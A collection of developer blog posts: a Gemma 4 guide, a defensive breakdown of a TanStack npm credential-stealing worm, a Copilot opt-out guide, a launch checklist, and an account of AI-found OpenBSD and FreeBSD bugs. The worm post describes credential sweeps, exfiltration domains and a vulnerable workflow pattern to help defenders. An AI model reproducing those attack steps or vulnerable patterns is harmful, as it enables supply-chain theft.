26B A4B: This is the model I'd use for most backend AI features. A support ticket classifier. An internal knowledge base Q&A system. A code review step in a CI pipeline. A document analysis feature for a B2B SaaS tool. It's fast enough for interactive use, good enough for most tasks, and runs on hardware a small company can own outright.

31B: Fine-tuning for a specific domain. A legal document analyzer trained on a client's specific contract types. A customer support model trained on a company's historical tickets. Cases where you need the base model quality before fine-tuning and where inference latency is less critical than output quality.

The Honest "When Not To Use It" Section

Gemma 4 doesn't replace every cloud AI use case, and claiming otherwise would be overselling it.

If your team has no GPU infrastructure and no plans to build any, Google AI Studio gives you hosted access to the 31B and 26B A4B with zero setup. Start there.

If you need current information beyond January 2025, plan for RAG from day one. The model itself won't have it.

If you're building something that needs the absolute frontier of reasoning capability, GPT-4o and Claude still lead on the hardest tasks. Gemma 4 is exceptionally strong for its size, but the top closed models still have an edge on the most complex multi-step reasoning.

Where Gemma 4 wins is the space between "toy project" and "frontier reasoning." That space covers the majority of real product features most development teams are actually building.

Where the Open Model Story Is Heading

Gemma 4's real significance isn't any single benchmark number. It's that the capability-to-hardware ratio has crossed a threshold.

A model that runs on a 16 GB desktop, handles 256K context that actually retrieves correctly, does structured tool calling natively, processes images and audio, supports 140+ languages, and ships under Apache 2.0 — that's a different product decision than anything that existed a year ago.

The 400 million Gemma downloads across all versions, and the 100,000+ community-built variants that followed, suggest developers were waiting for exactly this. A model good enough to build on, free enough to ship, small enough to run.

Gemma 4 is that model. For a lot of product builders, this is the point where "local AI" stops being a research interest and starts being a line item in a project estimate.

Start Here

No setup: Google AI Studio — hosted 31B and 26B A4B, free to start
Local CLI: Ollama — ollama run gemma4:e4b and you're running
Local GUI: LM Studio — point and click, no terminal needed
Direct weights: Hugging Face — google/gemma-4-31B-it, google/gemma-4-26B-A4B-it, google/gemma-4-E4B-it, google/gemma-4-E2B-it

If you're starting today: pull gemma4:e4b on Ollama, set num_ctx to at least 8192, and test it on a task you actually need solved. That's more useful than reading another benchmark comparison.

What are you building with Gemma 4? Drop your use case in the comments. Especially interested in anyone using E2B or E4B for on-device features.

42 @tanstack/* Packages Were Compromised on npm: What Happened, How It Works, and What You Must Do Right Now

VIKAS — Wed, 13 May 2026 10:13:58 +0000

TL;DR: On May 11, 2026, 84 malicious versions across 42 @tanstack/* packages were live on npm for ~20 minutes. No npm tokens were stolen. No accounts were compromised. The attacker hijacked TanStack's own GitHub Actions release pipeline using three chained vulnerabilities and published malware through the project's trusted OIDC identity. If your CI ran npm install on May 11, treat every secret it had access to as stolen.

The Router Package Powering 12 Million Projects Just Got Weaponized

@tanstack/react-router has over 12.7 million weekly downloads. It's in production React apps across the world, from solo founders shipping MVPs to enterprise teams running critical infrastructure. On the evening of May 11, 2026, it became a credential-stealing worm.

This was not a theoretical supply chain risk. This was live malware, published through a cryptographically valid, SLSA-attested release pipeline, that ran silently in CI environments and self-propagated to every other npm package its victims maintained.

The most chilling part? Every security signal said the packages were clean. Valid Sigstore provenance. SLSA Build Level 3 attestation. 2FA on every maintainer. OIDC trusted publishing. All green. All meaningless.

This article covers exactly what happened, how the attack technically worked, how to know if you're affected, and what you permanently change in your workflow after this.

What Happened: The Attack Timeline

Timestamp (UTC)	Event
May 11 · ~19:10	Attacker's fork PR triggers `pull_request_target` workflow, cache poisoned
May 11 · 19:20	First malicious `@tanstack/*` publish hits npm registry
May 11 · 19:26	All 84 malicious artifacts across 42 packages published in 6 minutes
May 11 · ~19:40	External researcher `ashishkurmi` (StepSecurity) opens GitHub issue #7383 with full analysis
May 11 · 19:46	TanStack team starts war room. Socket.dev calls Tanner Linsley directly
May 11 · ~20:30	All affected versions deprecated. npm security engaged to pull tarballs
May 12 · 00:00+	Blast radius expands: `@mistralai`, `@uipath`, `@opensearch-project`, PyPI packages hit
May 12	TanStack publishes full postmortem at tanstack.com/blog

The window was 20 minutes from first publish to public disclosure. For 12 million weekly downloads, 20 minutes is a long time.

The Attack Chain: Three Vulnerabilities, One Kill Path

No npm credentials were stolen. No maintainer accounts were phished. The attacker didn't need any of that. They chained three well-documented GitHub Actions weaknesses that TanStack's own workflow was already vulnerable to.

Each vulnerability alone is survivable. Together, they form a complete kill path from "random fork PR" to "published malicious packages with valid provenance."

Vulnerability 1: The Pwn Request (`pull_request_target`)

The attacker created a fork of TanStack/router, renamed it to zblgg/configuration to avoid appearing in the fork list, and opened a pull request. This triggered TanStack's bundle-size.yml workflow, a workflow that ran on pull_request_target.

pull_request_target is a special GitHub Actions event. Unlike pull_request, it runs in the context of the base repository, not the fork. That means it has write access to the base repo's cache, artifacts, and secrets, even when triggered by a completely untrusted fork PR.

GitHub's own security team documented this as a dangerous pattern in 2023. TanStack had it in production.

# TanStack's bundle-size.yml (simplified)
on:
  pull_request_target:     # ← Runs in BASE repo context. Fork code gets write access.
    types: [opened, synchronize]

jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.merge_commit_sha }}  # ← Checks out FORK code
      - run: pnpm install && pnpm build                           # ← Executes fork code

The fork code ran inside the base repo's workflow context. That's the trust boundary violation.

Vulnerability 2: GitHub Actions Cache Poisoning

The attacker's fork code wrote a malicious pnpm store into the GitHub Actions cache. Cache keys in GitHub Actions are scoped to the branch, but pull_request_target runs in the base repo context, which means the attacker's cache entry was written with base repo credentials and was later readable by the base repo's release workflow.

When a legitimate TanStack maintainer merged a real PR to main, the release workflow ran and restored the cache, pulling the attacker's poisoned pnpm store instead of the legitimate one.

Attacker-controlled binaries were now inside the release pipeline's node_modules. The release workflow had no way to distinguish them from legitimate packages.

Vulnerability 3: OIDC Token Extraction from Runner Memory

With code executing inside the release workflow's runtime, the payload read the GitHub Actions runner's process memory directly:

# The payload read /proc/<pid>/mem to extract the OIDC token
# Specifically targeting: ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL
# It deliberately skipped tokens named GITHUB_TOKEN to avoid GitHub's own secret scanning

The OIDC token was extracted live from runner memory, not from environment variables, not from workflow outputs. Standard secret masking doesn't protect against memory reads.

With a valid OIDC token, the attacker called the npm OIDC trusted publisher endpoint directly and minted a publish-capable credential scoped to @tanstack/*. This is the same token the legitimate release workflow uses. npm had no way to distinguish them.

84 malicious versions across 42 packages published. Every one carried a valid SLSA Build Level 3 provenance attestation because it was published through the legitimate Sigstore stack with a legitimate OIDC token.

This is the first documented npm supply chain attack where malicious packages are cryptographically indistinguishable from legitimate ones by provenance attestation.

What the Payload Does

The malware is a credential-stealing worm. Not a backdoor. Not a data exfiltrator. A worm that actively spreads to other packages you maintain.

Step 1: Daemonize and disappear

// First thing the payload checks
if (!process.env.__DAEMONIZED) {
  // Fork a fully detached child with all stdio suppressed
  // Call unref() so Node.js doesn't wait for it
  // Parent exits cleanly. Your terminal looks fine
  // Child runs silently, decoupled from your session
}

Your npm install completes normally. No errors. No warnings. A detached daemon is now running in the background.

Step 2: Credential sweep

The payload performs a systematic sweep of every credential plane common in CI environments:

Target	Method
GitHub Actions OIDC	`ACTIONS_ID_TOKEN_REQUEST_TOKEN` + `ACTIONS_ID_TOKEN_REQUEST_URL`
AWS	IMDSv2 metadata endpoint
GCP	Metadata server
Azure	Instance metadata
Kubernetes	Service account token at `/var/run/secrets/kubernetes.io/serviceaccount/token`
HashiCorp Vault	`VAULT_TOKEN` environment variable
npm tokens	`.npmrc` and environment
SSH keys	`~/.ssh/` sweep

Notably, the payload deliberately skips tokens named github_token, likely to avoid triggering GitHub's own secret scanning on the exfiltrated data.

Step 3: Exfiltrate over encrypted channels

Harvested credentials are sent over the Session/Oxen messenger file-upload network, end-to-end encrypted with no attacker-controlled C2 server in the traditional sense. Blocking by IP or domain is the only network-layer mitigation.

A secondary exfiltration channel was also identified: a typosquat domain git-tanstack[.]com.

Step 4: Self-propagate as a worm

GET https://registry.npmjs.org/-/v1/search?text=maintainer:<your-username>

The payload enumerates every npm package the victim maintains, then republishes each one with the same malware injection using the stolen npm OIDC token. The packages it publishes also carry valid provenance attestations.

This is how the blast radius expanded from TanStack to @mistralai, @uipath, @opensearch-project, and 160+ other packages within hours, all through automated self-propagation.

Confirmed Safe Packages

Not all @tanstack/* packages were affected. The compromise targeted the router family as the initial vector.

Confirmed clean:

@tanstack/query-*
@tanstack/table-*
@tanstack/form-*
@tanstack/virtual-*
@tanstack/store

The full list of 42 compromised packages is in GHSA-g7cv-rxg3-hmpx.

Am I Affected? Check Right Now

Step 1: Check if you installed on the affected date

# Check npm install logs for May 11, 2026 between 19:20–19:30 UTC
# If your CI ran during this window and included any @tanstack/* package, assume compromise

# Check your package-lock.json for affected version ranges
grep -A1 '"@tanstack/' package-lock.json | grep '"version"'

Step 2: Check for network IOCs in CI logs

# Look for outbound connections to these in your pipeline logs
# filev2.getsession.org
# seed1.getsession.org / seed2.getsession.org / seed3.getsession.org
# git-tanstack.com

Step 3: Check for unauthorized npm publishes

# Run this for every package you maintain
npm access list packages <your-org>

# Check for versions published on May 11 that you didn't author
npm view <your-package> time --json | grep "2026-05-11"

Step 4: Audit OIDC tokens (but read this first)

npm token list
# Look for tokens you don't recognize
# CRITICAL: Do NOT revoke tokens before isolating and imaging the system
# Revoking first destroys forensic evidence of which packages were republished

If you ran npm install against any @tanstack/* package on May 11 between 19:20 and 19:30 UTC, treat the entire install host as compromised. Every secret accessible to that process needs rotation.

Remediation: Step by Step

1. Upgrade to clean versions

# Safe versions are anything published AFTER May 12, 2026
# Check tanstack.com/blog/npm-supply-chain-compromise-postmortem for the verified clean list

npm install @tanstack/react-router@latest   # Verify version > May 12 publish date

2. Lock all @tanstack/* packages and verify integrity

{
  "overrides": {
    "@tanstack/react-router": "1.x.x",
    "@tanstack/router": "1.x.x"
  }
}

# Verify lockfile integrity hashes match registry
npm ci --ignore-scripts

3. Add --ignore-scripts to CI permanently

# In every CI pipeline, add this now
npm ci --ignore-scripts

This prevents ALL postinstall, preinstall, and lifecycle scripts from running during automated builds. It eliminates the entire attack surface this class of exploit depends on.

4. If your CI ran during the affected window: full incident response

Do not attempt to clean in place. Rebuild from a known-good snapshot and rotate every credential the runner had access to:

npm publish tokens
AWS / GCP / Azure / cloud credentials
GitHub personal access tokens and OIDC bindings
Kubernetes service account tokens
HashiCorp Vault tokens
SSH private keys
All .env and CI/CD secrets

# Review cloud audit logs for activity from the affected host
# AWS CloudTrail, GCP Audit Logs, Azure Activity Log
# Look for API calls originating from your CI runner IP on May 11 after 19:20 UTC

5. Block exfiltration endpoints at the network level

# Block these domains at firewall / DNS / hosts level
filev2.getsession.org
seed1.getsession.org
seed2.getsession.org
seed3.getsession.org
git-tanstack.com

Indicators of Compromise (IOCs)

Malicious npm Packages (partial list)

Package	Malicious Versions
`@tanstack/react-router`	Check GHSA-g7cv-rxg3-hmpx for full version list
`@tanstack/router`	Check GHSA-g7cv-rxg3-hmpx
`@mistralai/mistralai`	MAL-2026-3432 (OSSF)
`@uipath/apollo-core`	Check Wiz advisory
`guardrails-ai` (PyPI)	Check Wiz advisory

Full 42-package list: GHSA-g7cv-rxg3-hmpx

Network IOCs

Indicator	Notes
`filev2.getsession.org`	Primary exfil: Session/Oxen messenger network
`seed1/2/3.getsession.org`	Redundant exfil endpoints
`git-tanstack[.]com`	Typosquat secondary exfil channel

Behavioral IOCs

Indicator	What It Means
Detached node process spawned during `npm install`	Daemon forked to avoid terminal association
Outbound HTTPS to `*.getsession.org` from CI runner	Credential exfiltration in progress
Unexpected `npm publish` events in pipeline logs	Worm self-propagation via stolen OIDC token
New versions of your packages published on May 11	Your packages may be compromised
400+ GitHub repos containing "Shai-Hulud: Here We Go Again"	Attribution marker left by TeamPCP

CVE

CVE-2026-45321 | CVSS 9.6 (Critical) | GHSA-g7cv-rxg3-hmpx

What This Attack Breaks About Everything We Thought Was Safe

This incident isn't just a TanStack story. It's a proof of concept that invalidates assumptions the entire ecosystem was operating on.

SLSA provenance does not mean safe

TanStack had SLSA Build Level 3 provenance on every release. The malicious packages also had SLSA Build Level 3 provenance, because they were built by the same pipeline. Provenance confirms which pipeline produced the artifact. It cannot tell you whether that pipeline was behaving as intended.

"SLSA provenance confirms which pipeline produced the artifact, not whether the pipeline was behaving as intended. A compromised build step can produce a validly-attested but malicious package." (StepSecurity)

This is the first documented supply chain attack where provenance attestation is completely useless as a trust signal.

OIDC trusted publishing is not enough alone

OIDC publishing was designed to eliminate long-lived publish tokens. It succeeded at that. But it introduced a new assumption: that the pipeline itself cannot be compromised. This attack proved that assumption wrong.

OIDC trusted publishing needs a second layer: per-publish review gates, or provenance-source verification to detect publishes from unexpected workflow steps.

`pull_request_target` is still widespread and still dangerous

This pattern has been publicly flagged as dangerous for over three years. It still appears in thousands of popular repositories' CI configurations. Check yours today:

# Search your .github/workflows/ for this pattern
grep -r "pull_request_target" .github/workflows/

If you find it, audit carefully. pull_request_target is fine for trusted operations like labeling or commenting. It should never check out and execute fork code.

The worm model changes the blast radius math

Previous supply chain attacks were static. Compromise one package, infect its users. The Mini Shai-Hulud worm is dynamic. Compromise one package, infect its users, then use their credentials to infect every package they maintain, which infects their users, and so on.

The 42 initial TanStack packages became 170+ packages within hours. This is not a linear blast radius. It's exponential.

Quick Reference Checklist

- [ ] Checked if CI ran npm install against @tanstack/* on May 11 between 19:20–19:30 UTC
- [ ] Checked pipeline logs for outbound connections to getsession.org / git-tanstack.com
- [ ] Checked for unauthorized npm publishes from your account on May 11
- [ ] Upgraded to clean @tanstack/* versions (published after May 12)
- [ ] Added --ignore-scripts to all CI pipelines
- [ ] Committed and locked package-lock.json / pnpm-lock.yaml
- [ ] Rotated all credentials if install ran during affected window
- [ ] Blocked IOC domains at network / DNS level
- [ ] Audited .github/workflows/ for pull_request_target + checkout + run patterns
- [ ] Reviewed OIDC trusted publisher bindings for unexpected workflow steps

Resources

Sourced from TanStack's official postmortem, StepSecurity's technical analysis, Snyk, Wiz, and Socket Research. All IOCs, timeline, and technical details drawn directly from primary source investigations.

If this helped you secure your pipeline, drop a ❤️ and share it with your team. The faster it spreads, the fewer engineers get hit.

GitHub Copilot is Training on Your Code; Opt Out Before April 24 or Lose the Choice

VIKAS — Mon, 20 Apr 2026 14:43:16 +0000

⚠️ Deadline: April 24, 2026. After this date, opting out becomes significantly harder and some data collection may be retroactively applied. This takes 90 seconds to fix. Don't skip it.

I almost missed this.

Buried inside a GitHub policy update — the kind most developers scroll past while grabbing their morning chai — was a line that made me stop cold:

"Your code interactions with GitHub Copilot may be used to improve our AI models unless you explicitly opt out."

Not a notification. Not a banner. A policy page update.

And the opt-out window? April 24.

I'm a MERN developer. I build client apps, SaaS platforms, internal tools. Some of that code is under NDA. Some of it has business logic my clients paid good money to develop. The idea that it could silently feed a training pipeline — without my explicit yes — is not okay.

Here's everything you need to know.

What Actually Changed

GitHub updated its Copilot Terms of Service to expand the scope of what "telemetry" means. Previously, only code suggestions you accepted were potentially logged. The updated policy covers:

Code context sent to Copilot for suggestion generation
Your accept/reject patterns on suggestions
The surrounding file content used as context window input
Chat interactions in Copilot Chat

This applies to individual accounts, organization accounts, and — critically — private repositories unless you've explicitly disabled the relevant settings.

The training opt-out specifically refers to whether GitHub can use this telemetry to improve future Copilot models.

Why Developers Are Missing This

Three reasons:

1. Policy fatigue. We accept ToS updates constantly. GitHub sent this as a policy changelog notification, not a product alert. Most devs dismissed it.

2. Default is opt-in. GitHub set the default state to allow training. You have to take action to stop it. This is a common dark pattern — and it works.

3. The deadline isn't obvious. The April 24 date doesn't appear in the notification subject line. You have to read the full policy to find it.

What's Actually at Risk

Let's be specific. If you're a freelancer or studio (like I am at Zyklabs), your risk profile includes:

What's exposed	Why it matters
Client business logic	Competitive IP, NDA violations
API keys in context	If accidentally included in a prompt
Database schemas	Architecture patterns, table structures
Auth flows	Security-relevant implementation details
Unreleased feature code	Product roadmap exposure

For solo devs building personal projects, the stakes are lower. But for anyone doing client work or building a product — this matters.

How to Opt Out (Individual Account)

This takes under 2 minutes.

Step 1: Go to your GitHub Settings

github.com → Your Avatar (top right) → Settings

Step 2: Navigate to Copilot settings

Settings → Copilot (left sidebar) → Features → Privacy

Step 3: Find "Allow GitHub to use my code snippets for product improvements"

Set this to Disabled.

Step 4: Find "Allow GitHub to use my data for AI model training"

Set this to Disabled.

Step 5: Save changes.

Done. Your future interactions are excluded from training data.

How to Opt Out (Organization Admin)

If you manage an org — and your team is using Copilot Business or Enterprise — you need to do this at the org level too. Individual settings don't override org-level defaults.

Step 1: Go to your Organization Settings

github.com → Your Org → Settings → Copilot

Step 2: Under "Policies", find the AI training permission toggles

Step 3: Set both training-related options to No Policy (gives members control) or Disabled (forces opt-out for everyone)

Step 4: Communicate this to your team. Individual devs may still have their personal settings active.

What About Code Already Sent?

Here's the uncomfortable part: GitHub's policy doesn't clearly specify whether opting out removes previously collected telemetry from training pipelines. The language around data retention is vague.

What opting out does guarantee: no new data from your account will be used after the opt-out is processed.

For retroactive deletion, you'd need to submit a formal data deletion request under GDPR (if you're in a qualifying region) or GitHub's privacy request process. That's a separate step.

Should You Stop Using Copilot?

No. That's not what this is about.

Copilot is still a genuinely useful tool. I use it. Most of my team uses it. The issue isn't the product — it's the default being opt-in for training, without a clear user-facing alert.

The fix is simple: opt out of training, keep using the tool.

What you're opting out of is your code being used as training data for future model versions. Copilot still works exactly the same way after you do this. Your suggestions aren't affected. Your Copilot Chat still works.

The Bigger Pattern to Watch

This isn't unique to GitHub. Over the past 18 months, we've seen similar moves from:

JetBrains AI Assistant — opt-out for telemetry added post-launch
VS Code + Microsoft Copilot — training data scope quietly expanded
npm (the axios incident) — supply chain trust is eroding across the board

The pattern: launch a developer tool with generous defaults, quietly expand data collection scope in a policy update, set opt-out as the non-default path.

If you're a developer in 2026, reviewing the privacy/training settings of every AI tool in your workflow is now maintenance work. Add it to your quarterly checklist.

TL;DR — Do This Right Now

Go to github.com → Settings → Copilot → Policies
Disable "Use my code for product improvements"
Disable "Use my Copilot interactions for AI training"
If you're an org admin: do the same at org level
Deadline: April 24, 2026

90 seconds. Go.

Building web apps and SaaS products at Zyklabs. I write about real security issues, MERN development, and things that actually affect how we build.

Found this useful? Drop a comment — I'm especially curious if anyone has tried the formal data deletion route and what that process looked like.

My Pre-Launch Checklist Before Handing Off Any Client We

VIKAS — Sun, 12 Apr 2026 18:15:35 +0000

After shipping 10+ web apps for founders and SMEs, I've noticed something.

Most post-launch fires aren't technical failures. They're checklist failures. Things nobody caught because everyone assumed someone else did.

This is the exact list I run through before every client handoff at Zyklabs. Some of these take 5 minutes. Some take an hour. All of them have saved me at least once.

1. Environment and Config Hygiene

The number one source of "works on my machine" disasters.

[ ] All .env variables documented in ENV_SCHEMA.md
[ ] No hardcoded API keys, secrets, or base URLs anywhere in the codebase
[ ] NODE_ENV=production confirmed in deployment settings
[ ] Separate env files for staging vs production
[ ] Secrets stored in the platform vault (Vercel, Railway, etc.), not in the repo

Real case: Found Razorpay test keys going live on a production deployment. No transactions processed, but it could have. Caught it on this exact step.

2. Performance Baseline

You need numbers before handoff. Not a feeling that it seems fast.

[ ] Lighthouse Performance score above 85
[ ] LCP (Largest Contentful Paint) under 2.5s
[ ] No render-blocking scripts in <head>
[ ] Images converted to WebP, using next/image with correct sizes prop
[ ] Fonts loaded via next/font or preloaded to avoid layout shift (CLS under 0.1)
[ ] Bundle analyzer run, no accidental heavy imports

# Quick audit options
npx @next/bundle-analyzer
npx unlighthouse --site https://yourclientsite.com

3. SEO Minimum Viable Setup

Google crawls on Day 1 whether you're ready or not.

[ ] Unique <title> and <meta description> on every page
[ ] robots.txt not accidentally blocking crawlers
[ ] sitemap.xml generated and submitted to Search Console
[ ] OG tags set: og:image, og:title, og:description
[ ] Canonical URLs configured to avoid duplicate content issues
[ ] No broken internal links (run broken-link-checker before pushing)

For Next.js App Router projects:

// app/layout.tsx
export const metadata = {
  title: 'Client App | Brand Name',
  description: 'Clear description under 155 characters with primary keyword.',
  openGraph: {
    images: ['/og-image.jpg'],
  },
}

4. Security Headers

30 minutes of config work. Prevents a class of embarrassing vulnerabilities.

[ ] Content-Security-Policy header set
[ ] X-Frame-Options: DENY (prevents clickjacking)
[ ] X-Content-Type-Options: nosniff
[ ] Strict-Transport-Security (HSTS) enabled
[ ] HTTPS enforced, no HTTP fallback
[ ] Admin routes protected at middleware level, not just the frontend

// next.config.js
const securityHeaders = [
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload',
  },
]

5. Email and Transactional Flows

Test every email. Every single one. Don't assume.

[ ] Signup confirmation hits inbox, not spam
[ ] Password reset flow works end-to-end in production
[ ] Order/booking confirmation tested with real data
[ ] SPF, DKIM, DMARC records set on the sending domain
[ ] "From" address is domain-based (not @gmail.com)
[ ] Email footer includes unsubscribe link and physical address

Tool: Use mail-tester.com before going live. Score of 9+/10 is the target. Anything below 7 and you're probably landing in spam.

6. Error Tracking and Monitoring

You can't fix what you can't see in production.

[ ] Sentry (or equivalent) initialized and sending events
[ ] Source maps uploaded so stack traces are readable
[ ] Custom 500 error page, not the default framework page
[ ] Custom 404 page with navigation back to home
[ ] API errors return correct HTTP status codes (not 200 with an error body)
[ ] Uptime monitor set up (UptimeRobot free tier covers this fine)

7. Database and Data Safety

The one category people rush through because they're excited to ship.

[ ] Backups enabled, and restore has been tested (not just backup)
[ ] No direct DB access from the frontend, always through the API layer
[ ] Server-side input validation on all user-facing fields
[ ] Indexes on all queried fields
[ ] Rate limiting on auth endpoints: login, signup, password reset

Backup you've never tested is not a backup. Restore it once in staging before launch.

8. Cross-Device QA

Done is not done until it works on a real phone.

[ ] Tested on an actual mobile device, not just browser devtools
[ ] All forms work on iOS Safari (it has specific input quirks)
[ ] Touch targets are at least 44px
[ ] No horizontal scroll on mobile viewports
[ ] Loading states exist for every async action

9. Handoff Documentation

This is what separates a studio from a one-off freelancer job.

[ ] README.md covers: local setup, env variables, deployment steps
[ ] Architecture diagram included (even a rough one)
[ ] Credentials stored in a password manager, not sent over email or Notion
[ ] Domain, hosting, and third-party service access transferred to client
[ ] Post-launch support window communicated and agreed on in writing

The Full Scorecard

Category	Items	Approx Time
Env and Config	5	15 min
Performance	6	30 min
SEO	6	20 min
Security Headers	6	30 min
Email Flows	6	45 min
Error Tracking	6	20 min
Database	5	20 min
Cross-Device QA	5	30 min
Documentation	5	60 min
Total	50 items	~4 hours

Four hours before launch. That's it.

Most teams skip this and spend four days firefighting after launch instead. The math is pretty obvious.

The difference between a client who refers you to three others and one who quietly never calls back often comes down to what you caught before they did.

Run the checklist. Every time.

We run this on every project at Zyklabs, a web dev studio building MVPs, SaaS platforms, and storefronts for founders and SMEs across India. If you're building something and want a team that sweats the details, reach out. 🙌

An AI Found a 27-Year-Old Bug in OpenBSD- The Most Security-Hardened OS on Earth

VIKAS — Sat, 11 Apr 2026 16:35:31 +0000

"If OpenBSD has a 27-year-old bug, what's hiding in your codebase?"

On April 7, 2026, Anthropic announced something that made the entire security community stop scrolling.

Their new model — Claude Mythos Preview — had autonomously found a 27-year-old vulnerability sitting inside OpenBSD's TCP stack.

Not Linux. Not Windows. Not some legacy enterprise COBOL blob.

OpenBSD. The operating system that has had only two confirmed remote holes in its default install in its entire history. The OS that runs firewalls, SSH servers, and critical infrastructure for governments and enterprises worldwide. The OS where code review isn't a suggestion — it's a religion.

That's where the bug lived. Since 1998. And no human, fuzzer, or static analyzer ever found it.

Claude Mythos did. In a matter of hours. Autonomously. For under $50 in compute.

Let's get into exactly what happened.

🐡 First: Why Does OpenBSD Even Matter?

Quick context for developers who haven't touched BSD.

OpenBSD is a free Unix-like operating system forked from NetBSD in 1995. Its entire identity is built around one thing: proactive security. Not just "we patched it when someone reported it" — but "we audit everything before it ships and we assume the attacker is smarter than us."

OpenBSD invented or popularized:

pledge(2) and unveil(2) — syscall and filesystem sandboxing built into every process
pf — the packet filter now used inside macOS, pfSense, OPNsense, and FreeBSD
OpenSSH — yes, that OpenSSH, running on virtually every server on earth
W^X (Write XOR Execute) memory protection — years before mainstream adoption
Stack canaries, ASLR, and kernel relinking on every boot

When OpenBSD says their default install has had two remote holes in its entire history, they mean it. This isn't marketing. It's a 30-year track record.

So when an AI finds a remotely-exploitable bug that's been sitting there since 1998 — it matters.

🔍 The Bug: TCP SACK Integer Overflow

Here's the actual technical breakdown, straight from Anthropic's red team writeup.

Background: What is SACK?

TCP's Selective Acknowledgment (SACK) was proposed in RFC 2018 in October 1996. The problem it solved: if you send packets 1–20 and the receiver only gets 1–10 and 15–20, old TCP would make you resend everything from 11 onward. SACK lets the receiver say "I got 15–20, just resend 11–14." Huge performance improvement. Every major TCP implementation added it.

OpenBSD added SACK support in 1998.

The Two-Flaw Interaction

The vulnerability requires two independent flaws to interact. Neither flaw alone causes a crash. Together, they do.

Flaw 1: No lower-bound validation on SACK ranges.

OpenBSD tracks SACK state as a singly linked list of "holes" — byte ranges sent but not yet acknowledged. When a new SACK block arrives, the kernel walks this list shrinking or deleting holes, then appending a new hole at the tail if needed.

The implementation correctly checked the upper bound of incoming SACK ranges against the send window — but never validated the lower bound. Under normal conditions, this doesn't matter. Real TCP peers never send pathological SACK blocks. But an attacker isn't a real peer.

Flaw 2: Reachable null pointer write.

If a single SACK block simultaneously:

deletes the only hole in the list (triggering the delete path), AND
triggers the append-a-new-hole path (because the new acknowledged range extends past what was previously known)

...then the kernel tries to write to p->next — but p is now NULL because the walk just freed the only node.

Under normal conditions, these two conditions are mutually exclusive. You can't simultaneously satisfy "the SACK block's start is at or below the hole's start" AND "the SACK block's start is strictly above the highest previously acknowledged byte." One number can't be both.

The breakthrough: signed integer overflow.

TCP sequence numbers are 32-bit integers that wrap around. OpenBSD compared them with the expression:

(int)(a - b) < 0

This is correct when a and b are within 2³¹ of each other — which legitimate sequence numbers always are. But because Flaw 1 lets an attacker place the SACK block's start anywhere, they can put it roughly 2³¹ away from the real window.

At that distance, the subtraction overflows the sign bit in both comparisons simultaneously. The kernel concludes the attacker's start is below the hole start and above the highest acknowledged byte at the same time.

The impossible condition is now satisfied. The only hole gets deleted. The append path fires. The kernel writes through a null pointer. Machine crashes.

2 crafted packets → null pointer dereference → kernel panic → remote DoS

Any OpenBSD host responding over TCP was vulnerable. Firewalls. SSH gateways. Web servers. VPN endpoints. All of them.

The Fix

OpenBSD's official 7.8 errata patch 025, dated March 25, 2026, fixed this by:

Adding a lower-bound check on sack.start relative to snd_una
Guarding the append path with an explicit p != NULL check

Two lines. 27 years. Done.

🤖 How Mythos Found It

This is where it gets genuinely fascinating.

Anthropic's red team ran ~1,000 scaffold runs against OpenBSD's source code. Total cost: under $20,000. The specific run that surfaced this bug: under $50.

The $50 figure is technically accurate but misleading — as Anthropic themselves note, you can't know in advance which run will succeed. The $20K total is the honest number.

What's remarkable is how Mythos found it. Every existing automated tool had missed this:

SAST (static analysis): missed it — the logic requires understanding how two separate code paths interact under adversarial integer arithmetic
Fuzzers: missed it — sending random packets won't naturally produce a value exactly 2³¹ away from the current send window
Code audits: missed it — skilled humans reviewed this code for decades and saw two individually-benign conditions

Mythos caught it by reasoning about code semantics — understanding what the code does under adversarial conditions, not just what it looks like. That's a qualitatively different capability from what any previous automated tool has had.

To put this in context:

"In CyberGym's directed vulnerability reproduction tests, Mythos Preview scored 83.1% versus Claude Opus 4.6's 66.6%. On Firefox 147 JavaScript engine testing, Mythos produced 181 full shell exploits. Opus 4.6 produced two."

That's not an incremental improvement. That's a different tool category.

📦 The Bigger Picture: What Else Did It Find?

The OpenBSD bug is the headline, but it's not the only finding.

FFmpeg H.264 Codec — 16 years old

A bug introduced in a 2003 commit, dormant until exposed by a 2010 refactor, survived there since. The slice number 65535 collides exactly with a sentinel value, enabling out-of-bounds writes. Fuzzers ran against this code path 5 million times without triggering it. Mythos caught it by reasoning about what the sentinel means semantically.

Fixed in FFmpeg 8.1 "Hoare", released March 16, 2026.

FreeBSD NFS Server — 17 years old (CVE-2026-4747)

This one is scarier. A stack buffer overflow in the NFS server's authentication request handler. Attacker-controlled data is copied into a 128-byte stack buffer, but the length check allows up to 400 bytes.

Why did fstack-protector miss it? Because the buffer was declared as int32_t[32] — the compiler only inserts stack canaries for functions containing char arrays.

Mythos didn't just find it. It built a 20-gadget ROP chain split across six sequential NFS packets to achieve unauthenticated remote root — fully autonomously, no human involved after the initial prompt.

Linux kernel — multiple LPE chains

Starting from a list of 100 CVEs from 2024–2025, Mythos filtered to 40 exploitable candidates and successfully wrote privilege escalation exploits for more than half. These included KASLR bypasses, cross-cache heap reclamation, and credential structure overwrites. One chain — starting from a 1-bit adjacent physical page write primitive — cost under $1,000 to develop. Human experts said it would have taken weeks.

🌊 The Controversy: Project Glasswing and Restricted Access

Anthropic isn't releasing Mythos to the public. At all.

Instead, they launched Project Glasswing — a coalition of 40+ organizations that get restricted access to use Mythos defensively:

Founding partners include: Amazon Web Services, Apple, Broadcom, Cisco, CrowdStrike, Google, JPMorgan Chase, the Linux Foundation, Microsoft, NVIDIA, and Palo Alto Networks.

Anthropic is committing:

$100 million in Mythos usage credits for defensive security work
$2.5 million to Alpha-Omega through OpenSSF (Linux Foundation)
$1.5 million to the Apache Software Foundation

The criticism from some corners: "This is asymmetric. You've given 40 companies a weapon and told everyone else good luck."

The counterpoint: "Bad actors don't wait for permission. They're already using whatever models they have. Glasswing at least gets defenders ahead of attackers."

The AISLE pushback is worth reading:

Researchers at AISLE tested Anthropic's showcase vulnerabilities on small, open-weights models. Their finding: a 5.1 billion parameter open model recovered the core analysis chain of the 27-year OpenBSD bug. A 3.6B parameter model at 11 cents per million tokens detected 8/8 of Anthropic's showcased vulnerabilities.

Their conclusion: "The moat in AI cybersecurity is the system, not the model."

